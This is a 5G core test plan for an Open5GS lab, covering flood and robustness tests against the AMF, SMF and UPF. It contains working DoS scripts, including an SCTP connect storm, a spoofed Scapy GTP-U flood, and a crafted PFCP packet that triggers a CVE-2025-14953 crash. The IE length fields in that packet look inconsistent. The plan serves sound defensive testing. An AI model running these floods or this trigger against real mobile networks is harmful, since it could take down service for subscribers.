TP-07_dos_robustness

TP-07 — Denial of Service & Robustness Tests

Domain: DoS Resistance and Protocol Robustness
Standards: 3GPP TS 33.117 §4.2.6 · RANsacked (2024) · CVE-2024-51179 · CVE-2025-14953
Prerequisites: TP-00 complete; 5G SA lab running; monitoring (Prometheus) active

Warning: These tests intentionally stress the system. Run at end of test sequence. Have docker compose restart ready to restore lab.


TC-DOS-01: NGAP Flood — Rogue gNB Registration Storm

Threat Model

graph TD
    subgraph ATTACK["Attack: gNB Registration Storm"]
        A1["Attacker gNB-1\n(fake gNB-ID)"]
        A2["Attacker gNB-2\n(fake gNB-ID)"]
        AN["Attacker gNB-N\n(100 fake gNBs)"]
    end

    subgraph LEGIT["Legitimate Infrastructure"]
        L_GNB["Real gNB\n(ueransim-gnb)"]
        L_UE["Active UE\n(uesimtun0 up)"]
    end

    AMF["AMF\n(Open5GS)\nSCTP port 38412"]
    RESOURCE["AMF Resources\nConnection Pool\nMemory\nCPU"]

    A1 & A2 & AN -->|100 NGSetupRequest/10s| AMF
    L_GNB -->|NGSetupRequest| AMF
    AMF --> RESOURCE

    RESOURCE -->|Saturation| FAIL1["❌ AMF crash\nAll subscribers dropped"]
    RESOURCE -->|Handled| PASS1["✅ AMF rate-limits\nLegit gNB still served"]

    L_UE -.->|During attack| CHECK{"Still connected?"}
    CHECK -->|Yes| OK["✅ Session survives"]
    CHECK -->|No| IMPACT["❌ Service disruption"]

    style FAIL1 fill:#c0392b,color:#fff
    style PASS1 fill:#27ae60,color:#fff
    style OK fill:#27ae60,color:#fff
    style IMPACT fill:#e67e22,color:#fff

Objective

Verify AMF survives concurrent NGAP NGSetupRequest flood and continues serving legitimate gNB.

Steps

# 1. Record baseline state
BEFORE_RESTARTS=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
docker exec ueransim-ue ping -i 0.5 -c 20 -I uesimtun0 8.8.8.8 > /tmp/pre-flood-ping.txt &

# 2. Generate 100 fake gNB registration attempts
python3 << 'PYEOF'
import subprocess, threading, time, uuid

def launch_fake_gnb(gnb_id):
    """Launch a UERANSIM gNB with unique ID that will attempt NGSetup"""
    import socket, struct

    AMF_IP = "172.22.0.20"
    AMF_PORT = 38412

    # SCTP connect + minimal NGAP NGSetupRequest
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM,
                             socket.IPPROTO_SCTP if hasattr(socket, 'IPPROTO_SCTP') else socket.IPPROTO_TCP)
        sock.settimeout(2)
        sock.connect((AMF_IP, AMF_PORT))
        time.sleep(0.1)
        sock.close()
    except Exception:
        pass

threads = []
for i in range(100):
    t = threading.Thread(target=launch_fake_gnb, args=(i,))
    threads.append(t)

start = time.time()
for t in threads:
    t.start()
    time.sleep(0.1)  # 10/sec stagger
for t in threads:
    t.join()

print(f"Storm duration: {time.time()-start:.1f}s")
PYEOF

# 3. Wait for storm to settle
sleep 15

# 4. Check AMF survived
AFTER_RESTARTS=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
echo "AMF restarts: before=${BEFORE_RESTARTS}, after=${AFTER_RESTARTS}"

# 5. Check legitimate gNB still connected
docker logs open5gs-amf 2>&1 | grep "gNB-ID" | tail -5

# 6. Check active ping survived
wait
cat /tmp/pre-flood-ping.txt | tail -5

# 7. Try new registration post-flood
docker compose -f ~/open5gs-lab/5g/docker-compose.yml restart ue
sleep 15
docker exec ueransim-ue ip addr show uesimtun0 | grep "inet"

Expected Results

Pass Criteria

AMF survives; legitimate gNB session unaffected. Any AMF restart = test FAIL.


TC-DOS-02: NAS Registration Storm — Invalid UEs + Malformed NAS

Threat Model

sequenceDiagram
    participant ATK as Attacker (500 fake UEs)
    participant GNB as gNB
    participant AMF as AMF
    participant UDM as UDM

    Note over ATK,UDM: THREAT: Exhaust AMF resources via\ninvalid registrations + malformed NAS

    loop 500 iterations
        ATK->>GNB: RRC Setup (random IMSI)
        GNB->>AMF: NGAP InitialUEMessage\n{NAS: RegistrationRequest (invalid IMSI)}
        AMF->>UDM: GET subscriber data (random IMSI)
        UDM-->>AMF: HTTP 404 Not Found
        AMF-->>ATK: NAS RegistrationReject\ncause #11
    end

    Note over ATK: Also inject 10 malformed NAS messages
    ATK->>AMF: Zero-length 5GMM packet (CVE-2024-24428 pattern)
    Note over AMF: Does AMF handle gracefully\nor assertion failure?

    AMF->>AMF: Connection pool: filled?\nUDM requests: queued?\nMemory: exhausted?

    alt Resources exhausted
        Note over AMF: ❌ AMF crash or\nlegit UEs rejected
    else Rate-limiting works
        Note over AMF: ✅ Storm absorbed\nLegit UE still registers
    end

Objective

Verify AMF handles 500 invalid IMSI registrations + malformed NAS without crashing; valid UEs unaffected.

Steps

# 1. Active session baseline
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)

# 2. Generate 500 registration attempts with non-existent IMSIs
python3 << 'PYEOF'
import subprocess, random, time, threading

def fake_ue_register(imsi_suffix):
    """Create and run a UERANSIM UE with non-existent IMSI"""
    import tempfile, os, yaml

    # Build a minimal UERANSIM UE config
    config = {
        'supi': f'imsi-99999{imsi_suffix:07d}',
        'mcc': '001',
        'mnc': '01',
        'key': '465B5CE8B199B49FAA5F0A2EE238A6BC',
        'op': 'E8ED289DEBA952E4283B54E88E6183CA',
        'opType': 'OPC',
        'amf': '8000',
        'gnbSearchList': ['172.22.0.50'],  # point to real gNB
        'uacAic': {'mps': False, 'mcs': False},
        'uacAcc': {'normalClass': 0, 'class11': False, 'class12': False,
                   'class13': False, 'class14': False, 'class15': False},
        'sessions': [{'type': 'IPv4', 'apn': 'internet',
                      'slice': {'sst': 1, 'sd': '0x000001'}}],
        'configured-nssai': [{'sst': 1, 'sd': '0x000001'}],
        'default-nssai': [{'sst': 1, 'sd': '0x000001'}],
        'integrity': {'IA1': True, 'IA2': True, 'IA3': True},
        'ciphering': {'EA1': True, 'EA2': True, 'EA3': True}
    }

    with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
        yaml.dump(config, f)
        fname = f.name

    proc = subprocess.Popen([
        'docker', 'run', '--rm', '--cap-add=NET_ADMIN',
        '--network', 'open5gs-lab_ran',
        '-v', f'{fname}:/etc/ueransim/ue.yaml',
        'louisroyer/ueransim-ue:latest'
    ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

    time.sleep(5)
    proc.kill()
    os.unlink(fname)

# Launch 500 fake UEs in batches of 50
print("Launching 500 fake UE registrations...")
for batch_start in range(0, 500, 50):
    threads = [threading.Thread(target=fake_ue_register, args=(i,))
               for i in range(batch_start, batch_start+50)]
    for t in threads: t.start()
    time.sleep(2)

print("Storm launched. Monitoring AMF...")
PYEOF

sleep 30

# 3. Check AMF restart count
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-amf)
echo "AMF restarts: ${BEFORE} → ${AFTER}"

# 4. Verify legit UE still works
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8

# 5. Check AMF log for graceful rejections
docker logs open5gs-amf 2>&1 | grep -c "RegistrationReject"
docker logs open5gs-amf 2>&1 | grep -E "assert|crash|panic|SIGSEGV" | tail -5

Expected Results

Pass Criteria

AMF handles 500 invalid registrations gracefully. No crash. Legit session unaffected.


TC-DOS-03: SMF PDU Session Establishment Flood

Threat Model

graph TD
    subgraph UE_STORM["10 UEs × 3 PDU Sessions = 30 concurrent requests"]
        U1["UE-1: PDU internet + ims + iot"]
        U2["UE-2: PDU internet + ims + iot"]
        UN["UE-10: PDU internet + ims + iot"]
    end

    SMF["SMF\n(Session Manager)\nN11 HTTP/2 listener"]
    UPF["UPF\n(N4 PFCP)"]
    DB["UDR / MongoDB\n(session persistence)"]

    U1 & U2 & UN -->|Simultaneous PDU Session Est.| SMF
    SMF -->|PFCP Session Est. Req| UPF
    SMF -->|Session data store| DB

    SMF --> CAPACITY{"Within capacity?"}
    CAPACITY -->|Yes| ACCEPT["✅ All sessions\nestablished"]
    CAPACITY -->|Exceeded| REJECT["✅ NAS Reject\ncause #26 Insufficient resources\n(graceful rejection)"]
    CAPACITY -->|Overloaded| CRASH["❌ SMF crash\nAll existing sessions lost"]

    style ACCEPT fill:#27ae60,color:#fff
    style REJECT fill:#27ae60,color:#fff
    style CRASH fill:#c0392b,color:#fff

Objective

Verify SMF handles concurrent PDU session establishment requests; excess sessions rejected gracefully without crash.

Steps

# 1. Register 10 UEs
for i in $(seq 1 10); do
  docker run -d --name ueransim-dos-${i} \
    --cap-add=NET_ADMIN \
    --network open5gs-lab_ran \
    -v ~/open5gs-lab/5g/config/ue.yaml:/etc/ueransim/ue.yaml \
    louisroyer/ueransim-ue:latest
  sleep 0.2
done
sleep 20

# 2. Record SMF state
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-smf)
SMF_SESSIONS_BEFORE=$(docker logs open5gs-smf 2>&1 | grep -c "PDU Session")

# 3. Each UE requests 3 PDU sessions simultaneously (default UE config does 1;
#    modify config to add multiple DNNs)
for i in $(seq 1 10); do
  # Request additional PDU sessions via UERANSIM commands
  docker exec ueransim-dos-${i} \
    bash -c "nr-cli imsi-001010000000001 -e 'ps-establish IPv4 --sst 1 --dnn ims'" 2>/dev/null &
done

sleep 30

# 4. Check SMF survived
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-smf)
echo "SMF restarts: ${BEFORE} → ${AFTER}"

# 5. Check session count
docker logs open5gs-smf 2>&1 | grep "PDU Session" | tail -20

# 6. Check for graceful rejection of excess sessions
docker logs open5gs-smf 2>&1 | grep -E "reject\|Insufficient\|limit" | tail -10

# Cleanup
for i in $(seq 1 10); do docker rm -f ueransim-dos-${i}; done

Expected Results

Pass Criteria

SMF handles flood gracefully. No crash. Excess sessions rejected with proper NAS cause.


TC-DOS-04: UPF GTP-U Flood (N3 Interface)

Threat Model

graph TD
    ATK["Attacker\n(N3 segment access)"]

    ATK -->|100,000 GTP-U packets\nwith invalid TEIDs\nat line rate| UPF_N3["UPF N3\nGTP-U Port 2152/UDP"]

    UPF_N3 --> TEID_CHECK{"TEID lookup\nin PDR table"}
    TEID_CHECK -->|Unknown TEID| DROP["✅ DROP\n(no FAR = drop rule)"]
    TEID_CHECK -->|CPU saturated| SLOW["⚠️ Legitimate packets\ndelayed"]

    subgraph LEGIT["Legitimate Session"]
        L_GNB["Real gNB\n(valid TEID)"]
        L_UE["Active UE\n(ping traffic)"]
    end

    L_GNB -->|Valid GTP-U TEID| UPF_N3
    TEID_CHECK -->|Valid TEID| FORWARD["✅ Forward\nto Data Network"]

    DROP -.->|If all CPUs busy| STARVATION["❌ Legit packets starved\nSession timeout"]
    FORWARD -.->|During flood| DEGRADED["⚠️ Latency spike\nbut session maintained"]

    subgraph CVE["CVE-2024-51179"]
        C1["Crafted PFCP flood\n→ UPF resource exhaustion"]
        C1 --> C2["UPF crash (≤ v2.7.5)"]
        C2 --> C3["Patched in v2.7.6+"]
    end

    style DROP fill:#27ae60,color:#fff
    style FORWARD fill:#27ae60,color:#fff
    style STARVATION fill:#c0392b,color:#fff
    style C2 fill:#c0392b,color:#fff
    style C3 fill:#27ae60,color:#fff

Objective

Test UPF resilience against high-rate GTP-U flood with invalid TEIDs from unauthorized source.

Steps

# 1. Baseline active session
docker exec ueransim-ue ping -i 0.1 -c 30 -I uesimtun0 8.8.8.8 > /tmp/pre-flood.txt &
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)

# 2. GTP-U flood with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import time

UPF_IP = "172.23.0.30"
PACKETS_PER_BATCH = 10000

print(f"Starting GTP-U flood → {UPF_IP}:2152")
flood_start = time.time()
total = 0

# Send 100k packets with random TEIDs (all invalid)
for batch in range(10):
    packets = [
        IP(src=f"172.23.{random.randint(1,254)}.{random.randint(1,254)}",
           dst=UPF_IP) /
        UDP(sport=random.randint(1024, 65535), dport=2152) /
        GTP_U_Header(teid=random.randint(0x10000000, 0xFFFFFFFF), gtp_type=255) /
        IP(dst="8.8.8.8") / ICMP()
        for _ in range(PACKETS_PER_BATCH)
    ]
    send(packets, verbose=0, inter=0)
    total += len(packets)
    print(f"  Sent {total} packets...")

duration = time.time() - flood_start
print(f"Flood complete: {total} packets in {duration:.1f}s ({total/duration:.0f} pps)")
PYEOF

# 3. Wait and check
sleep 10
wait

# 4. Check UPF survived
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restarts: ${BEFORE} → ${AFTER}"

# 5. Measure throughput impact on active session
docker exec ueransim-ue ping -c 10 -I uesimtun0 8.8.8.8 2>&1 | tail -5

# 6. Compare pre/post latency
echo "=== Pre-flood ping results ==="
cat /tmp/pre-flood.txt | tail -3

Expected Results

Pass Criteria

No UPF restart. Active session throughput > 50% of baseline. GTP-U flood absorbed.


TC-DOS-05: CVE-2025-14953 PFCP Null Pointer Regression

Threat Model

flowchart TD
    ATK["Attacker\n(N4 segment access\nor PFCP port reachable)"]

    ATK -->|Crafted PFCP Session Est. Req\nCreate PDR with FAR-ID referencing\nnon-existent FAR| UPF["UPF\nogs_pfcp_handle_create_pdr()\nlib/pfcp/handler.c"]

    UPF --> CHECK{"Open5GS version?"}

    CHECK -->|≤ v2.7.5 (vulnerable)| VULN["FAR-ID lookup returns NULL\nogs_pfcp_far_find_by_id()\nNULL pointer dereference"]
    CHECK -->|≥ v2.7.6 (patched)| PATCH["NULL check added\nbefore FAR pointer use"]

    VULN --> CRASH["❌ UPF process SIGSEGV\nContainer restart\nAll active sessions DROPPED\nCity-wide outage if targeting\nproduction UPF"]

    PATCH --> SAFE["✅ PFCP Session Est. Response\nCause=Request rejected (0x41)\nNo crash\nSession not established"]

    subgraph IMPACT["Real-World Impact (if unpatched)"]
        I1["Single malformed PFCP packet"]
        I2["→ All UPF sessions terminated"]
        I3["→ Recovery requires container restart"]
        I4["→ All active PDU sessions torn down"]
        I1 --> I2 --> I3 --> I4
    end

    style CRASH fill:#c0392b,color:#fff
    style SAFE fill:#27ae60,color:#fff
    style I4 fill:#c0392b,color:#fff

Objective

Verify Open5GS v2.7.7 is not vulnerable to CVE-2025-14953 (PFCP null ptr deref via invalid FAR-ID in Create PDR IE).

Steps

# 1. Verify Open5GS version
docker exec open5gs-upf cat /usr/local/lib/open5gs/version 2>/dev/null || \
docker exec open5gs-upf open5gs-upfd --version 2>/dev/null | head -1
# Must show v2.7.6 or later

# 2. Record baseline restart count
BEFORE=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restart count before: ${BEFORE}"

# 3. Craft malformed PFCP message (CVE-2025-14953 trigger)
python3 << 'PYEOF'
import socket, struct

UPF_IP = "172.23.0.30"
PFCP_PORT = 8805

# PFCP Session Establishment Request with:
# - Create PDR IE containing a FAR-ID that references a non-existent FAR
# This is the exact trigger condition for CVE-2025-14953

# PFCP Header (version=1, S=1 for SEID, message_type=50=Session Est Req)
version_flags = 0x21  # Version=1, FO=0, MP=0, S=1 (SEID present)
msg_type = 50  # Session Establishment Request
seq_num = 1

# Minimal PFCP Session Establishment Request
# with Create PDR (IE type=1) containing FAR-ID=999 (non-existent)
create_pdr_ie = bytes([
    0x00, 0x01,           # IE type: Create PDR (1)
    0x00, 0x0A,           # IE length: 10
    # PDR ID (IE type=56, len=2, value=1)
    0x00, 0x38, 0x00, 0x02, 0x00, 0x01,
    # FAR ID (IE type=108, len=4, value=999 — non-existent FAR!)
    0x00, 0x6C, 0x00, 0x02, 0x03, 0xE7,  # FAR-ID = 999 (0x03E7)
])

total_length = 16 + len(create_pdr_ie)  # 4 (header fields) + 8 (SEID) + 4 (seq) + IEs

pfcp_msg = struct.pack("!BBHQ",
    version_flags,
    msg_type,
    total_length,
    0x0000000000000001  # SEID = 1 (fake)
)
pfcp_msg += struct.pack("!I", seq_num)  # Sequence number
pfcp_msg += create_pdr_ie

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)

print(f"Sending CVE-2025-14953 trigger to UPF {UPF_IP}:{PFCP_PORT}")
print(f"Payload: {pfcp_msg.hex()}")
sock.sendto(pfcp_msg, (UPF_IP, PFCP_PORT))

try:
    response, addr = sock.recvfrom(4096)
    cause_offset = 16  # Approximate offset to Cause IE in response
    print(f"✅ UPF responded ({len(response)} bytes) — no crash!")
    print(f"Response hex: {response.hex()}")
except socket.timeout:
    print("No response received")
finally:
    sock.close()
PYEOF

# 4. Critical check — did UPF crash?
sleep 3
AFTER=$(docker inspect --format '{{.State.RestartCount}}' open5gs-upf)
echo "UPF restart count after: ${AFTER}"

if [ "$BEFORE" -eq "$AFTER" ]; then
    echo "✅ PASS: UPF did NOT crash — CVE-2025-14953 mitigated"
else
    echo "❌ FAIL: UPF CRASHED (restart count increased)!"
    echo "CRITICAL FINDING: Vulnerable to CVE-2025-14953"
    echo "Action required: Upgrade to Open5GS ≥ v2.7.6"
fi

# 5. Verify active session still works post-test
docker exec ueransim-ue ping -c 3 -I uesimtun0 8.8.8.8

Expected Results (v2.7.7 — patched)

Expected Results (v2.7.5 — vulnerable, for comparison)

Pass Criteria

Zero UPF restarts. CVE-2025-14953 confirmed mitigated in v2.7.7. Any restart = CRITICAL FINDING.